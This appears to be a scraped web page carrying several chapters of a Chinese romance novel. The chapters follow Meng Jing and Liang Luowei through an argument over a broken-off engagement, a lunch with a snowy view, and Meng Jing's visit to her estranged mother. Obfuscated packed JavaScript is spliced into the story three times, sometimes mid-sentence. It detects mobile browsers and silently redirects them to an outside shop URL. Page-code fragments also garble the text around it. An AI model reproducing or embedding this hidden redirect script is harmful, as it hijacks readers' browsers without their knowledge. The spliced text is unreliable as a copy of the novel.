姜湛拍拍梁珞唯接近僵硬的肩：“珞唯来了。” 梁珞唯点了点头，似乎还没有从怔忡中醒来。昨晚他喝得太多，回家时在院子里站了很久，好像还看到了自己的母亲。 “您来找我？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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指尖已经触到巧克力包装纸，就差一点。 可屁股又冰又痛，在不受控制地喊了一个“救”字之后，她眼前一黑，晕眩感铺天盖地袭来。 也许只过去了几秒钟，在她彻底失去意识之前，一只干燥温暖的大手附上她的手背，五指穿过她的指缝，从包里抽走了那块巧克力。 随后，下颌被人掰开，孟婧感到舌尖沾到一丝苦，随后是甜，随着四肢百骸被注入能量，她重获新生。 “谢谢…”她又从包里拿出一袋小饼干胡乱放进嘴里，这才彻底睁开眼。 “梁…”她以为自己出现幻觉，叫到一半住了嘴，“你怎么在这儿。” 梁珞唯一袭黑衣站在她往下几个台阶，板正得宛如一尊雕像，英俊的脸被周围的皑皑白雪衬得极为出挑，两人这样对视着，引得路人纷纷侧目。 “来这儿还能干什么。”梁珞唯一把将她从地上拉起，“介绍一下，这是我舅舅，姜湛。” 孟婧这才发现，他身后还站着另一个男人。 姜湛，京城话剧界响当当的人物，居然是梁珞唯的舅舅。 “您好，我是孟婧。” “你好。”姜湛看了一眼梁珞唯，获得一个肯定的眼神。 “改天我会带珞唯去孟小姐家里拜访。“姜湛笑盈盈打量一番孟婧，“我还有事，先走一步，珞唯，天气不好，记得送孟小姐回家。” “嗯。” “不是…”孟婧没来得及阻止，老人家便已经走远。 她一向最讨厌误会，眼看这事情朝着越来越离谱的方向发展，不由急得拽住梁珞唯的袖子：“正想找你说这事呢！” “有什么话慢慢说。”梁珞唯皱了皱眉，反手扶住她的小臂。 “梁先生，我想你是误会了。”孟婧脱口而出，“昨晚去梁家找你，是要退婚的意思！” 32. 第三十二夜 孟婧高二那年，霖市下过一场很大的雪，那时的冬天很少有极端恶劣天气，学校的水管承受不住低温被冻爆，又接到上级的停课通知，所以统一安排住宿生回家。 当时沈确和孟许堂已经带着孟梦北上，家里平日没人，保洁和司机每月只工作几天，孟婧打了电话，都没有接通。 窗外雪花纷飞，舍友的父母纷纷来接，她谎称家里的车还没到，待所有人都离开后，才拉着箱子踏入雪中。 行李箱里东西不多，却很有分量，里面主要是各科的课本和练习册。停课是个重新梳理知识点的好机会，孟婧为此写了一整页纸的复习规划。 雪天路况不好，怎么也打不到车，辗转几趟下了公交，又走过很远才到孟家别墅。 没人打扫，所过之处全是积雪，高到没过行李箱的轮子，拉也拉不动。孟婧一脚深一脚浅走过去开门，却发现密码锁早就因为低温失灵，毫无反应。 空荡荡的院子里，只有没过脚面的冰冷，和一栋黑漆漆的房子。 人在极度失望的时候甚至会忘记伤痛，她在门口呆坐了一整个下午，不觉寒冷，直到被邻居发现，才帮忙送去小区附近的酒店。 在那之后，每逢雪天，她的心情都像被寒风吹出个小洞，空空落落的。 出国后有记忆的四年里，孟婧经历过不少暴雪天气，那段时间她疲于应付生活和工作，没时间想那么多，如今刚回京市便遇见满目皑皑，倒真的勾起了对于过往的一些思考。 她小时候怎么那么傻，直接去酒店不香吗，又不是没钱，一栋破房子有什么值得人伤感。 稳稳踏上平地，胳膊上的受力一松，孟婧的思绪也跟着拉回现实。 自从刚才她和梁珞唯解释了误会，这个男人就再也没和她说一句话。下山路上，他一只手箍住她的小臂，领先她半个身子往下走，没让她看到半个表情。 这是…不高兴了？ 她没当着长辈说，知道这是一场误会的也只有她和梁珞唯两个人，已经是她能做到的极限了。 理智上她能接受，造成这样的结果他们都有责任，话没说透就做决定，确实不是明智之举。 但情感上，梁珞唯怎么也不应该觉得她是去专门找他提联姻的吧。就算没有Toby的存在，她也不可能去主动要求和一个陌生男人结婚。 难道在他眼里，她就是个做梦都想要嫁入豪门的女人？ 反正退婚二字已经说出口，该怎么退，后续如何向众人解释这是个误会，都需要他们两个人商量着来，孟婧觉得自己不是不讲道理的人，她先有求于人，自然希望共同解决问题，而不是给对方找麻烦。 梁珞唯身高腿长，走路带风，可能是公司还有事，自从下了山就一直在打电话，眼看他向着停车场越走越快，孟婧脚痛跟不上，一边小跑一边叫他：“梁先生，请稍等。” 梁珞唯回头看了她一眼，面色凝重地对着电话又说了几句，终于停下脚步。 再怎么说他刚才也帮了自己，现在又在气头上，孟婧有点心虚，将半张脸埋进羽绒服的领口，只留一双会说话的眼睛眨动着：“您什么时候有空，我们谈谈？关于婚事。” “婚事？”梁珞唯眸中的蓝色被白雪映得更加瞩目，他半眯着眼睛看她，“孟小姐刚才不是说要退婚，哪儿还有什么婚事可谈。” “退婚的事也算是婚事吧…”孟婧咬着下唇，“孟家和沈家的现状…梁先生应该比我清楚，联姻对你来说其实并没有意义。” 梁珞唯轻笑：“都还不知道我这样做目的是为什么，就单方面评判这场婚姻没有意义？如果孟小姐想凭这样的逻辑挽救你外公的集团，我看还是省省力气算了。” “你…你说什么。”这句话像开刃的刀，直接刺进孟婧心中最柔软的地方。 出国前，她曾信誓旦旦，认为学成归来就可以成为沈家一大助力，不说再创辉煌，起码可以帮助集团脱困。后来真正走上社会才明白，沈氏内部管理早已千疮百孔，剜肉补疮并非根本的疗毒之策。 这些年，她通过海外工作关系积攒了一些人脉，准备回京后和沈确好好谈谈，她清晰的知道，自己是母亲最后的希望，就像母亲知道她不管遇到什么事情最终都会回来一样。只是真正能帮到什么地步，她内心从来没有踏实过。 梁珞唯的话再度激起她心底的恐惧，其实她根本不知道要拿什么理由去说服母亲退掉这门婚事，所以才会决定先去找梁珞唯，企图拉到一位同盟，一致对外。 如今，全世界还在负隅顽抗的好像只剩下她一个人，一切的坚持和倔强都打在棉花上，她无聊的反抗就像个笑话，和那年在大雪中呆坐了整个下午的女孩一样。 “谁会愿意将自家家业随便拱手让人？”孟婧忍不住哽咽，眼眶因为激动漫起薄雾，“况且梁氏集团就真的值得依靠吗，别忘了审计组马上就要进驻了。梁先生又凭什么觉得，我会答应你所谓的交易！” 梁珞唯看她红了眼，烦躁地来回踱了两步，皮鞋在石板路上咯哒咯哒地响，他修长的指尖冻得发白，指向墓园的方向：“凭你回京第二天就来看他们，凭你因为我随便一句话提到他就掉眼泪！你妹妹到底怎么死的，难道你就不想知道？” 空旷的场地中回荡着他的话，一字一句撞进孟婧耳中。梁珞唯是压着嗓子说的，声音并不大，但语气严肃，甚至也被她感染得也有些激动。 像是恨铁不成钢一般，看到孟婧还在愣神，梁珞唯又走近几步，和她隔着两米左右的距离，自上而下地注视。他的语气比之前缓和一些：“孟小姐想找同伴，我又何尝不想？” “你…”孟婧语塞。 像是为了缓解突如其来的紧绷气氛，一辆迈巴赫从停车场的方向驶来，车灯闪过孟婧泛红的脸，最终停在两人之间。 明明面对面站着，却划分出了楚河汉界。 梁珞唯率先拉开车门。 孟婧还在思考他刚才的话，以至于车窗降下来都没发现。 “刚才差点儿饿晕，现在又在这儿罚什么站。” 梁珞唯的声音被再次升上去的玻璃阻断，可孟婧还是听到了“上车”两个字。 发动机嗡嗡响着，排气管中的白烟被寒风吹成不规律的曲线，司机又等了一会儿，小心翼翼地看了一眼后视镜：“小梁总，您刚才说的餐厅有空位，已经预约好了，还去吗？” 梁珞唯皱眉揉着鬓间，宿醉加上早起，又在寒风中站 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“噗。”她实在没忍住笑出声，勉强将嘴角压下，偷偷用余光看了眼身侧。 “正常的生理反应而已。”梁珞唯停下手里的工作，正大光明地垂头看她，“这是…消气了？” 孟婧居然听出点哄人的意味。 “谁生气了。”孟婧将头扭向窗外，飞快驶过的雪景看得人眼花，她也不知道自己在别扭什么，又低头开始摆弄衣服上的拉锁。 “嗯。”梁珞唯对此没什么反应，又问，“饮食上有什么忌口吗？” 手机提示音响起，秘书发来一份合同，梁珞唯打开看到第二行，听见孟婧低着头说：“不吃…” “不吃什么？”他又读了几行，回复语音，“首付比例不能再高，除非他们把完工时间再提前一个月。” 车内再次安静下来，孟婧撇了撇嘴：“不吃你这套。” 这算什么，让她陪着他吃一顿工作餐？ 她上车是为了谈正事的，从梁珞唯刚才的话中可以得知，他一定知道孟梦的真正死因，为了这件事，她可以勉强再忍受一会儿。 可说出口的话却欠缺了点好态度：“要不小梁总先忙。” 梁珞唯看了眼窗外，将电脑合上：“虽然梁氏集团不值得依靠，但是整个财务部门都在加班准备审计组要求的资料，导致连合同这点小事都要我来把关，实在不好意思，孟…PAR？” 居然用合伙人title来取笑她，孟婧刚刚暖过来的面颊爬上绯色：“梁珞唯！” 梁珞唯表情放松下来，指指她身后：“到了。” 趁着孟婧转身，他手痒一般抓了一把蓬松的羽绒服帽子，柔软的布料顺着指尖溢出，他翻起来将它扣在孟婧的头上，又轻轻拍了一下。 预料中的，衣服又发出了沙沙的声音。 “下车，吃不惯就换地方。” “这是…” 孟婧没有发现身后男人的幼稚举动，她已经被眼前的景象惊艳得停止思考。 车子不知道什么时候上了山，窗外是大雪覆盖下的紫禁城，放眼望去，肃穆规整，气势磅礴。 33. 第三十三夜 “我们怎么上来的，好漂亮…”孟婧将不快抛诸脑后，推开车门时眼睛还盯着远处，不小心被脚边的石块绊了个踉跄。 梁珞唯下车站定：“不是饿了？进去也能看。” 她依依不舍：“嗯。” 在国外呆了五年，乍见到如此震撼的中式皇家建筑，心中五味杂陈。 直到领班从大堂出来接人，孟婧才不情愿地跟着进了餐厅，她看梁珞唯在身后慢悠悠跟着，问：“梁先生不是第一次来吧？” “网上评价这里的雪景很不错，一直没有机会。” “工作那么忙，还有时间搜罗点评？” 梁珞唯不置可否：“孟小姐，你好像忘了梁家做的是什么生意。” 孟婧轻笑：“所以这算是让我陪你看雪景？” 店内装潢尽是中式宫廷风格，雕花蚕丝灯笼透出暖黄色的灯光，打在孟婧的侧脸上，看起来很是温柔。 从刚才争辩的过程中分析，梁珞唯认为孟婧大体上是偏理性的，也很讲道理，只是性子执拗，总坚持在一些在他看来没有意义的对错上，比如谁帮了谁，谁利用谁，谁依靠谁。 他在做事时一向很少思考这些，只要能够达到目的，他可以毫不吝啬地表达诚意。于是他走快一步，和她并肩：“就不能是我陪你？” 孟婧突然被油到，瞥了他一眼，没再说话。 包间所在位置是专门用来赏雪的，经过特殊装潢，落座后仿佛置身崖边，可以在温暖的同时览尽山下美景。 孟婧脱了羽绒服，脸颊白里透着粉，高领修身黑色羊毛衫显出玲珑曲线。反观梁珞唯，大衣之下只剩一件黑色衬衫，扣子整齐系到领口，禁欲中却有一丝单薄。 孟婧对乔小仙说的是实话，她也是颜控，虽然和梁珞唯的每次见面都带着点不愉快，但不可否认的是，这个人的长相和品位还是蛮值得欣赏的。 如果是个哑巴就更完美了。 “孟小姐。”梁珞唯在她手中的菜单上点了一下，“我手上有东西？” “嗯？”孟婧一怔，完全没发现自己刚才一直盯着的是什么，“我刚才在看…你的手好像冻伤了。” 梁珞唯是很典型的漫画手，消瘦修长，骨节分明，手背上隐隐潜伏着暗青色纹路。但是经过户外转到室内，身体回温后，手背和关节的某些部位隐隐起了暗红色的痧点，眼看有逐渐成片的趋势，和他冷白色的皮肤成鲜明对比。 Toby小时候在户外玩耍时也经历过冻伤，后来涂了很久药才好，她对此颇有经验。 “不碍事。”梁珞唯活动活动手指，还不算太僵硬，“先点菜吧。” 在饮食上，两人都没什么忌口，待到点完菜，服务生们离开，孟婧看了眼被关上的门，正色道：“梁先生，现在可以说说孟梦的死因了吧？” 梁珞唯早料到她会问，不紧不慢地举起茶杯：“不如孟小姐先来说说，你是怎么拿到那张照片的。” 孟婧以为梁珞唯在顾左右而言他，皱眉问：“这很重要吗？” “当然。”梁珞唯点头，“因为我也在调查这件事，孟小姐提供的线索会帮助我分析出更多细节。” 孟婧想了想，别开头看向窗外：“照片是孟梦自己发到社交软件上的，就在她出车祸的那天。” 孟梦高二的时候数学不好，孟许堂让孟婧帮忙给妹妹补课，为此孟梦还专门开过一个扣扣小号。视频了几次，她嫌孟婧教得太严厉，干脆不学了，还把孟婧拉黑过一阵。 在国外寻找记忆的那段时间，她登陆过一些社交软件，企图从中发现那个夏天在京市的蛛丝马迹，借由此事，才发现孟梦早就已经把她从黑名单中拉出来。 不仅如此，在那年夏天的某个晚上，她还在个人相册中上传了一张照片，配文写的是【她配不上你！】。 “她配不上你？”梁珞唯陷入沉思。 孟梦指的那个‘她’应该是刁涟，配不上谁？是照片里和她抱着的人，还是当年即将嫁的那个人？ 孟婧继续说：“我查过，照片上的女人叫刁涟，是你的大嫂，男人是…” “是我。”梁珞唯表情没什么波澜，“不过既然孟小姐敢当着我拿出这张照片，是不是说明，我在你心里的嫌疑已经洗清？” “这话让我没法接，如果我说没有呢？” 梁珞唯点点头：“我很欣赏孟小姐怀疑一切的态度。” 孟婧在心里哼了一声：“梁先生问的我都说了，对你的分析有帮助吗？” “当然。”梁珞唯看了一眼开门上菜的服务员，“吃饱了再说。” 这家餐厅主打新京味，在传统京菜的基础上做了改良，既有本地特色，又兼具各地口味，华贵繁琐的摆盘和远处恢弘建筑相呼应，可谓沉浸感十足。 “我以前没怎么吃过烤鸭，居然没有想象中油腻。”孟婧又夹起一块薄饼，“也可能是因为饿的，昨晚…” 她不知怎的，突然想起两人被牵引绳困住的拥抱场面，和梁珞唯在月色下悲伤迷离的表情。心跳有些快，手中的饼被直接塞进嘴里。 梁珞唯表情不变：“昨晚怎么了？” 孟婧匆忙咽下：“没什么，我昨晚…没吃饭。” 莫非他真的忘了？ 孟婧试探着问：“你认识乔小仙？她是我表妹，我昨晚借住在她家了。” 梁珞唯挑眉：“你住溪山别苑？” “是啊。”孟婧笑笑，看来这人昨晚应该是真断片了，“她家的狗…你见过吗？” 梁珞唯戴上手套撕开一张薄饼，夹上三块蘸酱的鸭肉，配上配料，像在摆弄一副艺术品。 将它放到孟婧面前的盘子里，他说：“Toby很聪明，也漂亮。” “谢谢。”没想到他这么绅士，孟婧有点不好意思，三两下将盘中的食物塞进嘴里，两腮鼓鼓的嚼着。 今天是他的生日，去八宝山应该是去看望母亲，这样特殊的日子里，还要撇开工作，请一个和他闹退婚的女人吃饭，她是不是也应该对他好一点，起码不在今天去追问那些陈年旧事？ 梁珞唯瞧孟婧一通狼吞虎咽，将她面前的茶杯加满：“别急，爱吃还可以再打包。” “我去一下洗手间。”她脱下自己浸了油的手套，抿着嘴起身。 门外有服务员随时待命，见孟婧从包间里出来，连忙上前：“孟小姐，请问有什么可以帮您？” 孟婧讶异于这边服务的周到，问：“能帮我准备一碗长寿面吗？” 服务员点头在机器上加单：“您今天生日？我们这里还有蛋糕和香槟，有需要的话我都帮您加上。” “太多也吃不了，意思意思就行。”孟婧鲜少做这样讨好人的事情，推脱的时候竟有些紧张。 以他们两人现在的关系，太隆重总觉得会有点奇怪，况且梁珞唯昨晚刚喝断了片，不适宜再饮酒。 “好的孟小姐，已经为您加上，还有其他需要吗？” “没有了，请问洗手间在哪儿？” “包间里就有洗手间，您没看到吗？” “啊…”现在回去实在有点丢人，她硬着头皮问，“大堂里有吗？” “当然有的，前方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050624|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左转走到头就是了。” 这家餐厅所有区域的装修风格都是浓浓的复古宫廷风，来的时候没注意看，大堂是宽阔的开间，四周雕梁画柱，其中一面墙也全换成了落地玻璃，虽然看不到紫禁城的全貌，但视野也绝对足够敞亮开阔。 可能因为刚下过雪，来这里用餐的客人格外多，室内室外等位区全部爆满，两个服务员在忙碌地发放小食和热饮。 “Sandra!” 孟婧听到有人在叫自己，回头扫了一圈，大堂中心区域的大桌上，有个戴眼镜的男人正起身朝她挥手。随着孟婧目光落到那一桌，围坐的几个人也同时看向她。 “Ethan?”她认了几秒钟才敢叫出他的名字，“你怎么提前回国了？” Ethan是从PPWC国内所申请海外借调的员工，曾经和孟婧一起参与了梁氏集团海外分部的审计工作。Ethan比她年长两岁，又是国内卷出来的优秀员工，在共事的几个月中对她帮助很大。 “梁氏集团那么大的项目，老板派我回来继续跟进。”Ethan大声说完，又凑到她跟前压低声音，“要不是你提离职，我能这么惨？” 国外加班可比国内少多了，他外派时间还不到六个月，本来可以等到过完圣诞再接着回国过年的。 孟婧知道Ethan在开玩笑，但心里也确实不落忍。国内做项目要加班成什么样她不是不清楚，也正因为此，她才会提出离职。 “先介绍一下。”Ethan清了清嗓子，“这是咱们国内所的同事，过两天咱们不就去新项目了吗，趁着还有时间，出来聚个餐。” “你们好，我是Sandra，也可以叫我孟婧。”孟婧朝大家点了点头，“下个项目跟各位一起，不过可能呆不太久，大家如果工作上有什么疑问，还是尽量请教Ethan为好。” 孟婧长得漂亮，又不是外向的性格，与人接触过程中容易让对方产生距离感，此时展示一点小幽默，众人也都觉得亲近很多。 一桌人随即大笑，也纷纷起身做了自我介绍，孟婧和他们一一打了招呼，正好服务员来上菜，就又点了几瓶酒，算在她的账单上。 于是有人开始阴阳怪气：“呦，这几瓶酒可不便宜，Ethan哥好大的面子呢。” “别瞎起哄！”Ethan笑着制止，“可不许乱组cp啊，人家孟婧可不是单身，男朋友老帅了。” “呜呜呜羡慕！” “我想采访…审计狗怎么有时间谈恋爱的，而且孟婧那么漂亮，找的肯定也是帅哥！啊！请老天赐我一个能乖乖在家等我的帅哥吧！” 国外工作忙时，林屿曾经接过她下班，那时孟婧为了避免公司里异性不必要的骚扰，并没有否认过同事之间的试探，所以公司里暗暗流传的都是她有男朋友的绯闻。 孟婧无奈笑笑，举起一杯酒：“好了，有时间八卦我，不如赶紧享受美食吧！” 起泡酒口感很好，孟婧本想轻啄一口，结果不小心一饮而尽，余味悠长，细细品味过后，却见大家都没有举杯。 “我都干了，大家？” 桌上几人看着孟婧，脸色各不相同。Ethan更是挤眉弄眼，示意她看身后。 “那个…”其中一个女孩儿有点害羞，但还是鼓足勇气说，“孟婧姐，你男朋友还没回国吧？” 孟婧眨眨眼，以为自己喝多了：“怎么？” “你身后有个帅哥，应该是想和你搭讪，盯着你好半天了，你…可要守住底线啊。” 看这颜值这气场，是人都要红杏出墙的吧… 34. 第三十四夜 踏上回程的路，孟婧满腹心事地坐在车后排，毫无欣赏风景的心情。 梁珞唯说话的时候能噎死人，沉默以后气场又冷到像要毁天灭地。前一秒还可以绅士地为她卷烤鸭，后一秒就变成冷着脸吃完一碗长寿面，简直比女人还善变。 她实在不懂，因为一句玩笑，两人原本有些缓和的关系怎么又莫名其妙地剑拔弩张起来。况且审计组马上就要进驻，那些人早晚要知道他的真实身份，她不觉得有什么隐瞒的必要。 手机振动率先打破沉默，是沈确。 孟婧用余光看了一眼身边在处理公务的男人，将语音通话音量调到最小格，不情愿地按了接通。 “喂。”她不想让梁珞唯知道电话是谁打来的，所以也没作称呼。 沈确没注意到她语气不自然，开门见山问：“小婧，梁珞唯宣布婚事，是你们商量的结果吗？” 生日宴那通电话最后被孟婧直接挂断，事后居然传出梁珞唯要去孟家提亲的消息，让人捉摸不透：“他主动提的？” 母女两人五年没有联系，回国后的两通电话却都围绕着一个男人，不知是可笑还是可悲。孟婧一口气卡在胸口不上不下，一时间找不到合理的说辞，只轻轻地嗯了一声。 得到肯定，沈确语气也跟着软下来，这才想到要顾及女儿的意愿：“你是怎么想的？” “我可以有想法？”孟婧自嘲：“如果可以有，我的想法从没变过。” 沈确那头沉默片刻，似是叹了口气：“你现在是大姑娘了，这些年发生很多事，我也懒得再瞒，有时间见面细说吧。” “对了，我和你孟叔叔分开了，现在的住址…稍后发给你。” 什么…分开了？ 虽然知道两人从没有多深厚的感情，但起码在外人看来，沈确和孟许堂是恩爱的。 孟婧张了张嘴，终究是没有再问，她算算时间，语气有所缓和：“现在去，方便吗。” 沈确有些意外：“方便…留下来吃饭吗，我去准备。” “不用了，晚上还有事。”孟婧又瞥了一眼梁珞唯，“地址发给我，先挂了。” 后排的气氛依旧凝重，孟婧看着前方的车流，身子前倾，抚上前排的座椅：“师傅，一会儿出了环路，可以靠边停一下吗？” 司机偷偷看了眼后视镜的方向。 男人正襟危坐，似是刚才完全没有听到孟婧的电话，电脑屏幕的微光反射在他深邃的五官上，衬得整个人更加冷冽。 “回公司。”梁珞唯按下按钮，后排挡板开始缓慢升起。 “这是梁氏集团的公务用车。”梁珞唯的声音在逐渐封闭的空间内显得更加凌厉，“身为‘普通同事’，孟小姐想下就下？” 孟婧侧身面对他，皱着眉：“梁珞唯你什么意思。刚才我已经解释过了，出门在外，身份是自己给的，我虚拟个男朋友出来，好像也不影响什么吧。” 梁珞唯没什么表情：“虚拟?没见过虚拟男友还能接你下班的。” “男性朋友就不能接我下班？再说，就算是男朋友，好像也和你没有关系。”孟婧气鼓鼓盯着他，“梁先生不会是吃醋了吧。” “啪”的一声，梁珞唯将笔记本电脑合上，终于转头和她对视。 “吃醋？”蓝黑色的眸子微微眯起，颇有些咬牙切齿的一字一顿，“作为一个想找你‘搭讪’的‘普通男同事’，我好像也没什么资格产生这种幼稚的情绪。” “最好没有。”孟婧学着他嘁了一声，“追我的人不少，要是真吃醋，恐怕梁少爷也吃不下别的东西了。” “这倒是提醒我了。”梁珞唯冷笑一声，“孟小姐怎么知道今天才是我生日的？还特地偷偷出去为我点了一碗面。” 孟婧一愣。 梁珞唯像抓住把柄般说道：“私下找人打听我的私生活，也不像一个普通同事该做的事。” “你…” 再怎么斗嘴，她也不好意思把前一天晚上发生的事情说出来，被他将了一军却无还手之力，实在憋屈。 想了半天，她打破寂静说了句：“我看梁先生吃得也挺香。” 又过了很久。 “所以我吃面的时候，孟小姐一直在偷看吗？” “……” 直到车子开进梁氏集团，两人之间都没有再说话。司机停下后，孟婧第一时间拉开车门。 “孟小姐，请等一下！” 孟婧回头，看见司机师傅跟着她下车，手里还提着两个袋子。 她无意迁怒旁人，礼貌问：“您找我有事？” “小梁总说您爱吃这个，特地打包了一份，还有…” 袋子打开，里面有一些治疗跌打损伤的药品：“我们车上有点常用药，他看您脚上好像有点不方便…” 孟婧看了看不远处依旧紧闭的车门。 他让别人来送，她怎么拒绝？ 接过袋子，里面竟还有一盒退烧药：“这是？” “啊不好意思，刚才拿的时候放错了。”司机师傅抱歉笑了一下，“这是给小梁总准备的。” 孟婧惊讶：“他发烧了？” “今早天不亮就出门儿了，也不知道在雪地里站了多久，哎…这天儿多冷呢。” 化雪比下雪冷得多，再加上刺骨的风… 梁珞唯刚才脸色确实不算好，一想到不是因为和她争辩造成的，孟婧心里火气熄了一半。 她跟一个烧糊涂的人争什么劲。 “他手关节的地方有点冻伤，您看看有没有药，生了冻疮就不好治了。” “好的好的。”司机连忙点头，“谢谢孟小姐关心。” 孟婧很庆幸梁珞唯没有下车，不然听到她这样说，估计又要以为她心怀不轨了。 还没走出停车场，沈确就发来定位，住所在城东一个叫富力的小区。 孟婧依稀记得，昨晚乔小仙说过，梁珞唯现在好像也住在那里。 哎呀怎么哪里都是他！孟婧用力甩了甩头，企图把这三个字从脑子里清走。 富力离梁氏集团距离很近，步行十几分钟后，孟婧来到手机定位的位置。她在小区门口买了果篮，按下沈确所在的楼层。 这栋楼一梯一户，待到再开门时，一位曾经在孟家工作多年的阿姨已经站在那里等她。 “赵阿姨。”孟婧两手提着东西，虚虚和她拥抱了一下，“好久不见。” 赵阿姨曾在霖市孟家做过一段时间，等到孟婧上大学之后，便被沈确请到京市继续负责家政。 虽然后来也见过几次，但在她印象中，孟婧还是那个有些忧郁的小女孩。 面对这个笑容甜美的成熟女人，赵阿姨突然有点手足无措，连果篮都忘了接：“哦呦…小婧都这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妈，贴牌的企业那么多，除了被骂还是被骂，他们这是打着咱们家的旗号捞快钱，捞不到就会扔到一边，这么显而易见的目的，我不相信您看不出来。” “所以我还没签。”沈确说，“一旦开了这个口子，后续的发展只会更糟。” “但是小婧啊，这些年沈氏的财报你应该也看过了，实际上…更难，按照现在的现金流，公司已经撑不了几个月了。” “为什么？”无形的压迫感让孟婧默默攥紧拳头，“不是还有孟家。” 一个可怕的念头冒出来，她不敢相信，呢喃道：“难道孟许堂…” 沈确眼圈泛红，点点头：“他和外面的女人有了孩子，我提了离婚。” 孟婧面色凝重。 二十多年的婚姻，两家公司的利益早就纠缠不清，此时撕破脸，对沈氏集团无疑是雪上加霜。 孟婧抿着嘴：“就算这样，也不能让梁庭什钻空子啊。” “所以说…”沈确握住她的手，“嫁给梁珞唯是目前脱困的唯一选择。” “我曾经以为梁庭什不好惹，这些年看来…梁珞唯比他哥还要疯，梁氏集团易主只是时间问题。” “现在梁庭什已经出国接受调查，正是我们站队的好时机。” 35. 第三十五章 被赵阿姨送出门时，天已经快黑了。 临别前，孟婧和她加了微信，嘱咐她把打包的餐食放进冰箱，沈确今后身体有什么问题，也可以随时联系。 风小了一些，但缺乏阳光照耀，还是会觉得阴冷。 身心都很疲惫，孟婧走到来时经过的一处儿童游乐场，找了个没人的空秋千坐下荡着。 下午，她将国外结识的几个经理的简历交给沈确，但他们开出的薪资要求显然是目前的沈氏无法承担的。沈确并不否认这些人的能力，但毕竟他们大部分只做过海外项目，能不能摸到国内餐饮的脉，还未可知。 其实从沈确表示想要离婚的时候，她的心就越来越沉。孟梦去世后，沈确身体一直不好，再加上年纪确实大了，想再要个孩子几乎是不可能。没了血脉的维系，再加上梁家明确将孟婧作为联姻对象，孟许堂变心也是迟早的事。 这位养父从小就没给过孟婧什么好脸色，用他的话说，能够让她姓孟，已经是对沈家最大的忍让。 如今沈氏落魄，他又有了自己的孩子，自然要站在梁庭什那一边，助他榨干沈确的最后一丝价值。面对这样的男人，不用想也知道，离婚时的财产纠纷会有多激烈。 看吧，这就是联姻，除了利益和算计，能有几分真感情？二十年的并肩，抵不过偷情得来的血脉。 孟婧想到自己。 根据林屿的讲述，她出国后按照实验室的要求休整了一段时间，调整作息，规律饮食，并且每日检测体征，待到符合体检要求时，已经是一个月以后。谁知刚抽了血，就被查出了怀孕。 好在科研人员和参与研究的志愿者都提前签署了保密协议，孟婧的身体情况特殊，林屿的导师为她成立了专门的团队，针对孕期对脑中血块的影响做专门追踪。 关于要不要留下这个孩子，期间林屿也问过她几次，她的答案永远都是肯定的。 幸运的是，血块在孕期过程中有消散趋势，虽然分娩后醒来彻底失去了一段时间的记忆，但这些年她定期复查，发现剩余的微量血块已经转移到不危险的区域，她也并没有出现再次失忆的情况。 即使是失忆后的孟婧，也依旧不后悔自己当初的选择。她知道自己这样的做法是自私的，即使愿意付出一切时间、金钱，也依旧改变不了她单身母亲的身份。 和梁珞唯的婚事并没有他们看到的那么简单，除去两家公司的牵连，孟梦的旧事，更还有孟婧自己过不去的坎——她还丝毫没有打探到Toby生父的消息。 孟婧在国外的生活很低调，知道Toby存在的人不多，回京后，她也想先尽量隐瞒。不是因为害怕别人说三道四，而是怕Toby被心怀不轨之人利用。 沈氏集团已处于风雨飘摇之中，如果再陷入舆论风波，导致被孟家和梁庭什一派针对，就真的完全没有退路了。 至于梁珞唯… 孟婧双脚踏回地面，淡淡望着不远处的儿童滑梯。 如果梁珞唯知道她有一个孩子，这几天的所有误会就都不会发生了吧。那位张家小姐其实蛮漂亮的，如果梁珞唯有能力让张家倒戈，倒不失为一个更好的选择。 算了，替他瞎操什么心。 就在她将要起身离开时，不远处的路灯下闪过一个人影：“孟婧？你怎么在这里！” “张沛？”孟婧看了一眼手机，距离两人约好的吃饭时间还有一个小时。 “我家里人住这边。”孟婧连忙从秋千上下来，“你呢？” 张沛朝她走过去，手里还拉着两个巨型行李箱：“稍等啊，我打个电话。” “喂，李哥，我已经下楼了，就在儿童游乐场这边，您过来吧。” 挂了电话，他将自己的棉服拉上拉链：“我来替小梁总收拾行李的。” 孟婧皱眉：“他要出差？” “没。”张沛边向她背后的方向招手边说，“说是要换个地方住。” 迈巴赫在两人面前停下，司机下车，正是上午送孟婧的那位师傅。他见孟婧也是一愣，不过很快收回目光，默默将箱子放进后备箱。 “李哥，我就不跟过去了成不？晚上还有点事儿。” “成。” “好嘞，谢谢哥！” 为了打听当年在京市发生过什么，张沛通过微信好友申请之后，孟婧以怀念过去为由和他约了饭，时间定在今晚七点。在富力相遇是计划之外，好在张沛的工作也结束了，两人直接去了约定的餐馆。 路上经过五年前FINDER所在的办公区。 “多少年过去了，这楼都旧了！”他指着街边的星巴克，“当年就是在这里，实习的第一天，你进来吃早餐，我的最后一个夜班也刚结束。” 孟婧脑中一片空白，但还是附和着微笑，问：“我那时候…一个人来的？” “是啊，美女总是让人印象很深刻。”张沛一脸肯定，“第一次见你，见小梁总，都是在这里。” “你是说…梁珞唯？” “是啊，当时不知道他是咱们领导，还以为他在故意为难你呢。” 孟婧警觉：“为什么会这么说？” “具体我忘了，怎么说呢…气氛不太好。”张沛回忆着，“感觉你有点怕他，他呢又有点不爱搭理你，总之很怪。” 孟婧：“……” 